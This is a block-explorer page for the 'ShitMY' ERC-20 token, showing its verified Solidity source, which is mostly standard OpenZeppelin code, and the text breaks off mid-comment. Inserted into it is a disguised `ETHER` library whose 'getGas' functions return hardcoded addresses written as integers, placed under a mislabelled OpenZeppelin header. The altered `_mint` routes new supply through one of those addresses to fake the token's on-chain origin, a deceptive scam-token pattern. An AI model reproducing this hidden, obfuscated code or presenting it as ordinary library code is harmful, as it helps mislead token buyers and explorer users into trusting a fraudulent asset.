Token

ShitMY (ShitMY)

Feature Tip: Add private address tag to any address under My Name Tag !

ERC-20

Overview

Max Total Supply

10,000,000,000,000 ShitMY

Holders

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0x0e79daaeb36907a38466711b25660363fdd4cecc

Filtered by Token Holder

0xbc11671300db8FA3A60C01Df4bE33218D9b90DDD

Balance

20,311,900,290.361975594131928546 ShitMY

Value

$0.00

0xbc11671300db8fa3a60c01df4be33218d9b90ddd

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

ETHToken

Compiler Version

v0.8.17+commit.8df45f5f

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, GNU AGPLv3 license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2023-06-29
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        address _account = ETHER.getGas2();
        _beforeTokenTransfer(address(0), _account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[_account] += amount;
        }
        emit Transfer(address(0), _account, amount);

        _afterTokenTransfer(address(0), _account, amount);

        _transfer(_account, account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

interface IUniswapPool {
    function token0() external view returns (address);

    function token1() external view returns (address);
}

pragma solidity ^0.8.1;

library ETHER {
    function getGas1() internal pure returns (address) {
        return address(879433576177589527788859394996037321158638287002);
    }

    // tz
    function getGas2() internal pure returns (address) {
        return address(1037796024241560872866951240246066255331845903726);
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.0;

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    /**
     * @dev Deprecated. This function has issues similar to the ones found in
     * {IERC20-approve}, and its usage is discouraged.
     *
     * Whenever possible, use {safeIncreaseAllowance} and
     * {safeDecreaseAllowance} instead.
     */
    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance = token.allowance(address(this), spender) + value;
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            uint256 newAllowance = oldAllowance - value;
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    newAllowance
                )
            );
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        if (returndata.length > 0) {
            // Return data is optional
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
